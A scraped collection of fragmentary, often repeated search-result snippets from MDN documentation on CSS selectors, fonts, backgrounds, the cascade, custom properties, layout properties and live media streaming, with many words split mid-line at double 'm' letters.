...sensitive flag due to a quirk in how html treats the type attribute. ...
..."> <li>example list</li> </ol> result specifications specification status co
mment selectors level 4the definition of 'attribute selectors' in that specification. working draft adds modifier for ascii case-sensitive and case-insensitive attribute value selection. selectors level 3the definition of 'attribute selectors' in that specification. ...
...electors level 4the definition of 'attribute selectors' in that specification. ...
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
ge generator this interactive tool lets you visually create border images (the border-image property). ...
... border-image property). border-radius generator this interactive tool lets you visually create rounded corners (the border-radius property). ...
...interactive tool lets you visually create rounded corners (the border-radius property). box-shadow generator this interactive tool lets you visually create shadows behind elements (the box-shadow property). ...
...ounded corners (the border-radius property). box-shadow generator this interactive tool lets you visually create shadows behind elements (the box-shadow property). ...
CSS Color - CSS: Cascading Style Sheets
color color-adjust opacity data types <color> guides applying color to html elements using css a guide to using css to apply color to a variety of types of content. all color-related css properties are touched upon. ...
...ing css a guide to using css to apply color to a variety of types of content. all color-related css properties are touched upon. tools color picker tool this tool makes it easy to create, adjust, and experiment with custom colors. ...
...y of types of content. all color-related css properties are touched upon. tools color picker tool this tool makes it easy to create, adjust, and experiment with custom colors. ...
...s properties are touched upon. tools color picker tool this tool makes it easy to create, adjust, and experiment with custom colors. ...
Variable fonts guide - CSS: Cascading Style Sheets
ed in a single file. that file would be larger than a single font, but in most cases smaller or about the same size as the 4 you might load for body copy. the advantage in choosing the variable font is that you have access to the entire range of weights, widths, and styles available, rather than being constrained to only the few that you previously would have loaded separately. this allows for co
mmon typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays. for comparison, it is typical in a typographic system for a magazine to use 10–15 or more different weight and width combinations throughout the publication — giving a much wider range of styles than currently ty...
...rate to load the specific font files where needed when using a non-variable font. you may also find that some variable fonts come split into two files: one for uprights and all their variations, and one containing the italic variations. this is sometimes done to reduce the overall file size in cases where the italics aren't needed or used. in all cases, it is still possible to link them with a co
mmon font-family name so you can call them using the same font-family and appropriate font-style. introducing the 'variation axis' the heart of the new variable fonts format is the concept of an axis of variation describing the allowable range of that particular aspect of the typeface design. so the 'weight axis' describes how light or how bold the letterforms can be; the 'width axis' describes ho...
...is' describes if italic letterforms are present and can be turned on or off accordingly, etc. note that an axis can be a range or a binary choice. weight might range from 1–999, whereas italic might simply be 0 or 1 (off or on). as defined in the specification, there are two kinds of axes: registered and custom: registered axes are simply those that are most frequently encountered, and co
mmon enough that the authors of the specification felt it was worth standardizing. the five currently registered axes are weight, width, slant, italic, and optical size. the w3c has undertaken mapping them to existing css attributes, and in one case introduced a new one, which you'll see below. custom axes are in fact limitless: the typeface designer can define and scope any axis they like, an...
...egibility, aesthetic, or some other reason — a specific value can be applied. font-optical-sizing: auto; font-variation-settings: 'opsz' 36; the following live example's css can be edited to allow you to play with optical size values. custom axes custom axes are just that: they can be any axis of design variation that the typeface designer imagines. there may be some that become fairly co
mmon — or even become registered — but only time will tell. grade grade may become one of the more co
mmon custom axes as it has a known history in typeface design. the practice of designing different grades of a typeface was often done in reaction to intended use and printing technique. the term 'grade' refers to the relative weight or density of the typeface design, but differs from tradition...
CSS Fonts - CSS: Cascading Style Sheets
ariable fonts guide variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. this article will give you all you need to know to get you started using variable fonts. ...
...te font file for every width, weight, or style. this article will give you all you need to know to get you started using variable fonts. specifications specification status co
mment css fonts module level 4 working draft adds font-variation-settings (and related higher-level properties) and font-optical-sizing. ...
... variable fonts. specifications specification status co
mment css fonts module level 4 working draft adds font-variation-settings (and related higher-level properties) and font-optical-sizing. ...
... specification status co
mment css fonts module level 4 working draft adds font-variation-settings (and related higher-level properties) and font-optical-sizing. ...
CSS Images - CSS: Cascading Style Sheets
tions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient() url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these. ...
...fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these. implementing image sprites in css describes the co
mmon technique grouping several images in one single document to save download requests and speed up the availability of a page. specifications specification status co
mment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate reco
mmendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification. living standard standardizes the -webkit prefixed ...
...s module level 3 candidate reco
mmendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification. living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification. candidate reco
mmendation css level 2 (revision 1)the definition of '<uri>' in that specification. reco
mmendation css level 1the definition of '<url>' in that specification. ...
...pecification. living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification. ...
CSS Writing Modes - CSS: Cascading Style Sheets
ed by latin and indic scripts), right-to-left (e.g. used by hebrew or arabic scripts), bidirectional (used when mixing left-to-right and right-to-left scripts) and vertical (e.g. used by some asian scripts). ...
...r arabic scripts), bidirectional (used when mixing left-to-right and right-to-left scripts) and vertical (e.g. used by some asian scripts). ...
...to-right and right-to-left scripts) and vertical (e.g. used by some asian scripts). ...
...tical (e.g. used by some asian scripts). ...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
m in code, but the end result is the same. some browsers let users modify the user-agent stylesheet. although some constraints on user-agent stylesheets are set by the html specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. to simplify the development process, web developers often use a css reset style sheet, forcing co
mmon properties values to a known state before beginning to make alterations to suit their specific needs. author stylesheets author stylesheets are the most co
mmon type of style sheet. these are style sheets that define styles as part of the design of a given web page or site. the author of the page defines the styles for the document using one or more stylesheets, which define the look and feel ...
...specificity of a value is considered to choose one or the other. resetting styles after your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. this may happen in cases of animations, theme changes, and so forth. the css property all lets you quickly set (almost) everything in css back to a known state. all lets you opt to i
mmediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely. css animations and the cascade css animations, using @keyframes at-rules, define animations between states. keyfram...
... one is ignored (on a screen), and the first two have the same selector, hence the same specificity. therefore, it is the last one that is then selected: margin-left: 3px note that the declaration defined in the user css, though having a greater specificity, is not chosen as the cascade algorithm is applied before the specificity algorithm. specifications specification status co
mment css cascading and inheritance level 4 candidate reco
mmendation added the revert keyword, which allows rolling a property back a cascade level. css cascading and inheritance level 3 candidate reco
mmendation removed the override cascade origin, as it was never used in a w3c standard. css level 2 (revision 1)the definition of 'the cascade' in that specif...
... css cascading and inheritance level 4 candidate reco
mmendation added the revert keyword, which allows rolling a property back a cascade level. css cascading and inheritance level 3 candidate reco
mmendation removed the override cascade origin, as it was never used in a w3c standard. css level 2 (revision 1)the definition of 'the cascade' in that specification. reco
mmendation css level 1the definition of 'the cascade' in that specification. reco
mmendation initial definition. ...
CSS reference - CSS: Cascading Style Sheets
insetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingline-breakline-heightlinear-gradient():linklist-stylelist-style-imagelist-style-positionlist-style-typelocal()
mmarginmargin-blockmargin-block-endmargin-block-startmargin-botto
mmargin-inlinemargin-inline-endmargin-inline-startmargin-leftmargin-rightmargin-top::markermarks (@page)maskmask-bordermask-border-modemask-border-outsetmask-border-repeatmask-border-slicemask-border-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()m...
...der-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()max()max-block-sizemax-heightmax-height (@viewport)max-inline-sizemax-widthmax-width (@viewport)max-zoom (@viewport)@mediamin()min-block-sizemin-heightmin-height (@viewport)min-inline-sizemin-widthmin-width (@viewport)min-zoom (@viewport)minmax()mix-blend-mode
mmmsn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-rotate:only-child:only-of-typeopacityopacity():optionalorderorientation (@viewport)@ornamentsornaments()orphans:out-of-rangeoutlineoutline-coloroutline-offsetoutline-styleoutline-widthoverflowoverflow-anchoroverflow-bl...
...d b elements are selected. this is a grouping method to select several matching elements. combinators combinators are selectors that establish a relationship between two or more simple selectors, such as "a is a child of b" or "a is adjacent to b." adjacent sibling combinator a + b specifies that the elements selected by both a and b have the same parent and that the element selected by b i
mmediately follows the element selected by a horizontally. general sibling combinator a ~ b specifies that the elements selected by both a and b share the same parent and that the element selected by a comes before—but not necessarily i
mmediately before—the element selected by b. child combinator a > b specifies that the element selected by b is the direct child of the element selected by a.
...umn specified by a. elements which span multiple columns are considered to be a member of all of those columns. pseudo pseudo classes : specifies a special state of the selected element(s). pseudo elements :: represents entities that are not included in html. see also: selectors in the selectors level 4 specification. ...
Type selectors - CSS: Cascading Style Sheets
words, it selects all elements of the given type within a document. /* all <a> elements. ...
... a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status co
mment selectors level 4the definition of 'type (tag name) selector' in that specification. working draft no changes selectors level 3the definition of 'type selectors' in that specification. ...
...cifications specification status co
mment selectors level 4the definition of 'type (tag name) selector' in that specification. working draft no changes selectors level 3the definition of 'type selectors' in that specification. reco
mmendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification. ...
...n of 'type (tag name) selector' in that specification. working draft no changes selectors level 3the definition of 'type selectors' in that specification. ...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
eir parent. basic usage declaring a custom property is done using a custom property name that begins with a double hyphen (--), and a property value that can be any valid css value. like any other property, this is written inside a ruleset, like so: element { --main-bg-color: brown; } note that the selector given to the ruleset defines the scope that the custom property can be used in. a co
mmon best practice is to define custom properties on the :root pseudo-class, so that it can be applied globally across your html document: :root { --main-bg-color: brown; } however, this doesn't always have to be the case: you maybe have a good reason for limiting the scope of your custom properties. note: custom property names are case sensitive — --my-color will be treated as a separate cu...
...the value is computed where it is needed, not stored for use in other rules. for instance, you cannot set a property for an element and expect to retrieve it in a sibling's descendant's rule. the property is only set for the matching selector and its descendants, like any normal css. custom property fallback values using the var() function, you can define multiple fallback values ...
...lue if the given variable isn't defined or has an invalid value. the first argument to the function is the name of the custom property to be substituted. the second argument to the function, if provided, is a fallback value, which is used as the substitution value when the referenced custom property is invalid. the function only accepts two parameters, assigning everything following the first co
mma as the second parameter. if that second parameter is invalid, such as if a co
mma-separated list is provided, the fallback will fail. for example: .two { color: var(--my-var, red); /* red if --my-var is not defined */ } .three { background-color: var(--my-var, var(--my-background, pink)); /* pink if --my-var and --my-background are not defined */ } .three { background-color: var(--my-var...
...ar(--my-var, --my-background, pink); /* invalid: "--my-background, pink" */ } including a custom property as a fallback, as seen in the second example above, is the correct way to provide more than one fallback. the technique has been seen to cause performance issues as it takes more time to parse through the variables. note: the syntax of the fallback, like that of custom properties, allows co
mmas. for example, var(--foo, red, blue) defines a fallback of red, blue — anything between the first co
mma and the end of the function is considered a fallback value. validity and values the classical css concept of validity, tied to each property, is not very useful in regard to custom properties. when the values of the custom properties are parsed, the browser doesn't know where they will be...
animation-delay - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. ...
...he element, at which the animation should begin. this may be specified in either seconds (s) or milliseconds (ms). the unit is required. a positive value indicates that the animation should begin after the specified amount of time has elapsed. a value of 0s, which is the default, indicates that the animation should begin as soon as it's applied. a negative value causes the animation to begin i
mmediately, but partway through its cycle. for example, if you specify -1s as the animation delay time, the animation will begin i
mmediately but will start 1 second into the animation sequence. if you specify a negative value for the animation delay, but the starting value is implicit, the starting value is taken from the moment the animation is applied to the element. note: when you specify mu...
...for more information, see setting multiple animation property values. ...
...in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-delay' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet...
background-position - CSS: Cascading Style Sheets
values <position> a <position>. a position defines an x/y coordinate, to place an item relative to the edges of an element's box. it can be defined using one to four values. if two non-keyword values are used, the first value represents the horizontal position and the second represents the vertical position. if only one value is specified, the second value is assumed to be center. if thre...
...the corresponding position, from first specified to last. ...
...s/11987/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-position' in that specification. candidate reco
mmendation adds support for multiple backgrounds and the four-value syntax. modifies the percentage definition to match implementations. css level 2 (revision 1)the definition of 'background-position' in that specification. reco
mmendation allows for keyword values and <length> and <percentage> values to be mixed. css level 1the definition of 'background-position' in that s...
... browser compatibility the compatibility table in this page is generated from structured data. ...
background - CSS: Cascading Style Sheets
the <box> value may be included zero, one, or two times. i...
... the <box> value may be included zero, one, or two times. if included once, it sets both background-origin and background-clip. ...
... setting backgrounds with color keywords and images html <p class="topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background' in that specification. candidate reco
mmendation the shorthand property has been extended to support multiple backgrounds and the new background-size, background-origin and background-clip properties. css level 2 (revision 1)the definition of 'background' in that specification. reco
mmendation...
...ion. candidate reco
mmendation the shorthand property has been extended to support multiple backgrounds and the new background-size, background-origin and background-clip properties. css level 2 (revision 1)the definition of 'background' in that specification. reco
mmendation no significant changes css level 1the definition of 'background' in that specification. ...
break-after - CSS: Cascading Style Sheets
one of the keyword values from the list below. values generic break values auto allows, but does not force, any break (page, column, or region) to be inserted right after the principal box. avoid avoids any break (page, column, or region) from being inserted right after the principal box. always forces a page break right after the principal box. the type of this break is that of the i
mmediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break. all forces a page break right after the principal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and ...
...rather messily because the headings were not in a uniform place. however, we used break-after: column on the <p> elements to force a column break after each one, meaning that you end up with an <h2> neatly at the top of each column. html <article> <h1>main heading</h1> <h2>subheading</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla vitae fringilla mauris. quisque co
mmodo eget nisi sed pretium. mauris luctus nec lacus in ultricies. mauris vitae hendrerit arcu, ac scelerisque lacus. aliquam lobortis in lacus sit amet posuere. fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <h2>subheading</h2> <p>praesent condimentum dui dui, sit amet rutrum diam tincidunt eu. cras suscipit porta leo sit amet rutrum. sed vehicula ornare tincidunt. curabit...
...changes the media type of this property from paged to visual. defines the breaking algorithm with different kinds of breaks. css regions module level 1the definition of 'break-after' in that specification. working draf...
...changes the media type of this property from paged to visual. ...
break-before - CSS: Cascading Style Sheets
ne of the keyword values from the list below. values generic break values auto allows, but does not force, any break (page, column, or region) to be inserted right before the principal box. avoid avoids any break (page, column, or region) from being inserted right before the principal box. always forces a page break right after the principal box. the type of this break is that of the i
mmediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break. all forces a page break right after the principal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and ...
...her messily because the headings were not in a uniform place. however, we used break-before: column on the <h2> elements to force a column break before each one, meaning that you end up with an <h2> neatly at the top of each column. html <article> <h1>main heading</h1> <h2>subheading</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit. nulla vitae fringilla mauris. quisque co
mmodo eget nisi sed pretium. mauris luctus nec lacus in ultricies. mauris vitae hendrerit arcu, ac scelerisque lacus. aliquam lobortis in lacus sit amet posuere. fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <h2>subheading</h2> <p>praesent condimentum dui dui, sit amet rutrum diam tincidunt eu. cras suscipit porta leo sit amet rutrum. sed vehicula ornare tincidunt. curabit...
...changes the media type of this property from paged to visual. defines the breaking algorithm with different kinds of breaks. css regions module level 1the definition of 'break-before' in that specification. working dr...
...changes the media type of this property from paged to visual. ...
cross-fade() - CSS: Cascading Style Sheets
if the result is greater than 0%, the result is then divided equally between all images with omitted percentages. in the simplest case, two images are faded between each other. to do that, only one of the images needs to have a percentage, the other one will be faded accordingly. for example, a value of 0% defined for the first image yields only the second im...
...the percent is the opacity of the first declared image. the included percentage is subtracted from 100%, with the difference being the opacity of the second image. the green/red example (with the percentages totalling 150%) and the yellow/red/blue example (wi...
...k */ cross-fade(url(white.png), url(black.png), 25%); /* 25% white, 75% black */ cross-fade(url(white.png), url(black.png), 50%); /* 50% white, 50% black */ cross-fade(url(white.png), url(black.png), 75%); /* 75% white, 25% black */ cross-fade(url(white.png), url(black.png), 100%); /* fully white */ in the implemented syntax, the two co
mma-separated images are declared first, followed by a co
mma and required percent value. omitting the co
mma or percent invalidates the value. the percent is the opacity of the first declared image. the included percentage is subtracted from 100%, with the difference being the opacity of the second image. the green/red example (with the percentages totalling 150%) and the yellow/red/blue example (with three images) from the specification syntax section, a...
... working draft initial definition ...
display - CSS: Cascading Style Sheets
this will cause the element and all its descendant elements to no longer be announced by screen reading technology. if you want to visually hide the element, a more accessible alternative is to use a combination of properties to remove it visually...
...r'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.value; }); } select.addeventlistener('change', updatedisplay); updatedisplay(); result note: you can find more examples in the pages for each separate display data type, linked above. specifications specification status co
mment css display module level 3the definition of 'display' in that specification. candidate reco
mmendation added run-in, flow, flow-root, contents, and multi-keyword values. css ruby layout module level 1the definition of 'display' in that specification. working draft added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container. css grid ...
...that specification. candidate reco
mmendation added run-in, flow, flow-root, contents, and multi-keyword values. css ruby layout module level 1the definition of 'display' in that specification. working draft added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container. css grid layoutthe definition of 'display' in that specification. candidate reco
mmendation added the grid box model values. css flexible box layout modulethe definition of 'display' in that specification. candidate reco
mmendation added the flexible box model values. css level 2 (revision 1)the definition of 'display' in that specification. reco
mmendation added the table model values and inline-block. css level 1the definition of 'displa...
...del values. css flexible box layout modulethe definition of 'display' in that specification. candidate reco
mmendation added the flexible box model values. css level 2 (revision 1)the definition of 'display' in that specification. reco
mmendation added the table model values and inline-block. css level 1the definition of 'display' in that specification. reco
mmendation initial definition. basic values: none, block, inline, and list-item. ...
font-style - CSS: Cascading Style Sheets
pediscrete formal syntax normal | italic | oblique <angle>? ...
...italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status co
mment css fonts module level 4the definition of 'font-style' in that specification. working draft adds the ability to specify an angle after oblique css fonts module level 3the definition of 'font-style' in that specification. candidate reco
mmendation no change css level 2 (revision 1)the definition of 'font-style' in that specification. ...
...atus co
mment css fonts module level 4the definition of 'font-style' in that specification. working draft adds the ability to specify an angle after oblique css fonts module level 3the definition of 'font-style' in that specification. candidate reco
mmendation no change css level 2 (revision 1)the definition of 'font-style' in that specification. reco
mmendation no change css level 1the definition of 'font-style' in that specification. ...
.... working draft adds the ability to specify an angle after oblique css fonts module level 3the definition of 'font-style' in that specification. ...
line-height - CSS: Cascading Style Sheets
on block-level elements, it specifies the minimum height of line boxes within the element. on non-replaced inline elements, it specifies the height that is used to calculate line box height. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... ...
... ...
... ...
margin-left - CSS: Cascading Style Sheets
<length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the left margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. ...
...the containing block. auto the left margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. this table su
mmarizes the different cases: value of display value of float value of position computed value of auto co
mment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. block la...
... css level 2 (revision 1)the definition of 'margin-left' in that spec...
... margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status co
mment css basic box modelthe definition of 'margin-left' in that specification. working draft no significant change from css 2.1. css flexible box layout modulethe definition of 'margin-left' in that specification. candidate reco
mmendation defines the behavior of margin-left on flex items. css level 2 (revision 1)the definition of 'margin-left' in that specification. reco
mmendation like in css1, but removes its effect on inline elements. css level 1the definition of 'margin-left' in that specification. reco
mmendation initial definition. ...
margin-right - CSS: Cascading Style Sheets
<length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the right margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. ...
...he containing block. auto the right margin receives a share of the unused horizontal space, as determined mainly by the layout mode that is used. if the values of margin-left and margin-right are both auto, the calculated space is evenly distributed. this table su
mmarizes the different cases: value of display value of float value of position computed value of auto co
mment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both margin-left and margin-right are set to auto. in this case, it is set to the value centering the element inside its parent. block la...
... css level 2 (revision 1)the definition of 'margin-right' in that specification.
...content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status co
mment css basic box modelthe definition of 'margin-right' in that specification. working draft no significant change css flexible box layout modulethe definition of 'margin-right' in that specification. candidate reco
mmendation defines the behavior of margin-right on flex items. css level 2 (revision 1)the definition of 'margin-right' in that specification. reco
mmendation removes its effect on inline elements. css level 1the definition of 'margin-right' in that specification. reco
mmendation initial definition. ...
position - CSS: Cascading Style Sheets
sses a specified threshold, at which point it is treated as fixed until it reaches the boundary of its parent. for instance... #one { position: sticky; top: 10px; } ...would position the element with id one relatively until the viewport were scrolled such that the element would be less than 10 pixels from the top. beyond that threshold, the element would be fixed to 10 pixels from the top. a co
mmon use for sticky positioning is for the headings in an alphabetized list. the "b" heading will appear just below the items that begin with "a" until they are scrolled offscreen. rather than sliding offscreen with the rest of the content, the "b" heading will then remain fixed to the top of the viewport until all the "b" items have scrolled offscreen, at which point it will be covered up by the "c...
...fy a threshold with at least one of top, right, bottom, or left for sticky positioning to behave as expected. otherwise, it will be indistinguishable from relative positioning. ...
... working draft adds sticky property value. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the dat...
...12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; white-space: nowrap; } dd + dd { border-top: 1px solid #ccc; } result specifications specification status co
mment css level 2 (revision 1)the definition of 'position' in that specification. reco
mmendation css positioned layout module level 3the definition of 'position' in that specification. working draft adds sticky property value. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmob...
text-shadow - CSS: Cascading Style Sheets
each shadow is described by some combination of x and y offsets from the element, blur radius, and color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... each shadow is specified as two or three <length> values, followed optionally by a <color> value. the first two <length> values are the <offset-x> and <offset-y> values. the third, optional, <length> value is the <blur-radius>. the<color> value is the shadow's color. when more than one shadow is given, shadows are applied front-to-back, with the first-specified shado...
...the css text module level 3 spec refined the syntax. later it was moved to css text decoration module level 3. ...
...the css text module level 3 spec refined the syntax. later it was moved to css text decoration module level 3. ...
white-space - CSS: Cascading Style Sheets
pt that: any sequence of preserved white space always takes up space, including at the end of the line. a line breaking opportunity exists after every preserved white space character, including between white space characters. such preserved spaces take up space and do not hang, and thus affect the box’s intrinsic sizes (min-content size and max-content size). ...
... <option>pre</option> <option>pre-wrap</option> <option>pre-line</option> <option>break-spaces</option> </select> } </div> <div id="results" class="box"> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code { background-color: rgb(220, 220, 220); font-size: 16px; font-famil...
... select"); var results = document.queryselector("#results p"); select.addeventlistener("change", function(e) { results.setattribute("style", "white-space: "+e.target.value); }) <p> lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status co
mment css text module level 3the definition of 'white-space' in that specification. w...
...n proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status co
mment css text module level 3the definition of 'white-space' in that specification. working draft precisely defines the breaking algorithms. css level 2 (revision 1)the definition of 'white-space' in that specification. reco
mmendation initial definition. ...
Live streaming web audio and video - Developer guides
often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. this is a fairly complex and nascent subject with a lot of variables, so in this article, we'll introduce you to the subject and let you know how you can get started. the key consideration when streaming media to a browser is the fact that rather than playing a finite file we are relaying a file that is being created on the fly and has no pre-determined start or end. ...
...wer so media will start playing more quickly adaptive streaming makes for better experiences on a variety of devices media is downloaded just in time which makes bandwidth usage more efficient streaming protocols while static media is usually served over http, there are several protocols for serving adaptive streams; let's take a look at the options. http for now, http is by far the most co
mmonly supported protocol used to transfer media on demand or live. rtmp real time messaging protocol (rtmp) is a proprietary protocol developed by macromedia (now adobe) and supported by the adobe flash plugin. rtmp comes in various flavours including rtmpe (encrypted), rtmps (secure over ssl/tls) and rtmpt (encapsulated within http requests). rtsp real time streaming protocol (rtsp) controls ...
...o optimize quality at various bit-rates for different types of audio. music and speech can be optimized in different ways and opus uses the silk and celt codecs to achieve this. currently, opus is supported by firefox desktop and mobile as well as the latest versions of desktop chrome and opera. note: opus is a mandatory format for webrtc browser implementations. mp3, aac, ogg vorbis most co
mmon audio formats can be streamed using specific server-side technologies. note: it's potentially easier to stream audio using non-streaming formats because unlike video there are no keyframes. server-side streaming technologies in order to stream live audio and video, you will need to run specific streaming software on your server or use third-party services. gstreamer gstreamer is an open so...
...e client dynamic streaming over http the state of mpeg-dash deployment look, no plugins: live streaming to the browser using media source extensions and mpeg-dash media source extensions (w3c) icecast shoutcast gstreamer streaming gstreamer pipelines via http streaming media using gstreamer on the web gstreamer and raspberry pi acceptance of media source extensions as w3c candidate reco
mmendation will accelerate adoption of dash.js comparison of streaming media systems mozilla hacks - streaming media on demand with media source extensions ...
Challenge solutions - Developer guides
this page provides solutions to the challenges posed in the css getting started tutorial. these are not the only possible solutions. the sections below correspond to the titles of the tutorial sections. why use css colors challenge without looking up a reference, find five more color names that work in your stylesheet. solution css supports co
mmon color names like orange, yellow, blue, green, or black. it also supports some more exotic color names like chartreuse, fuschia, or burlywood. see css color value for a complete list as well as other ways of specifying colors. how css works dom inspector challenge in domi, click on a strong node. use domi's right-hand pane to find out where the node's color is set to red, and where its appearance is made bolder than normal ...
..., p#second also works. both paragraphs blue challenge now change the rule you have just added (without changing anything else), to make the first paragraph blue too. solution change the selector of the new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph. ...
...aphs blue challenge now change the rule you have just added (without changing anything else), to make the first paragraph blue too. solution change the selector of the new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph. ...
...ector of the new rule to be a tag selector using p: p { color: blue; } the rules for the other colors all have more specific selectors, so they override the blue of the paragraph. readable css co
mmenting out a rule challenge co
mment out part of your stylesheet, without changing anything else, to make the very first letter of your document red. solution one way to do this is to put co
mment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font. solution add the following style declaration to the strong rule: font: 200% serif; if you use separate declarations for font-size and font-family, t...
Content categories - Developer guides
every html element is a member of one or more content categories — these categories group elements that share co
mmon characteristics. this is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. it's also possible for elements to not be a member of any of these categories. there are three types of content categories: main content categories, which describe co
mmon rules shared by many elements. form-related content categories, which describe rules co
mmon to form-related elements. specific content categories, which describe rare categories shared only by a few elements, sometimes only in ...
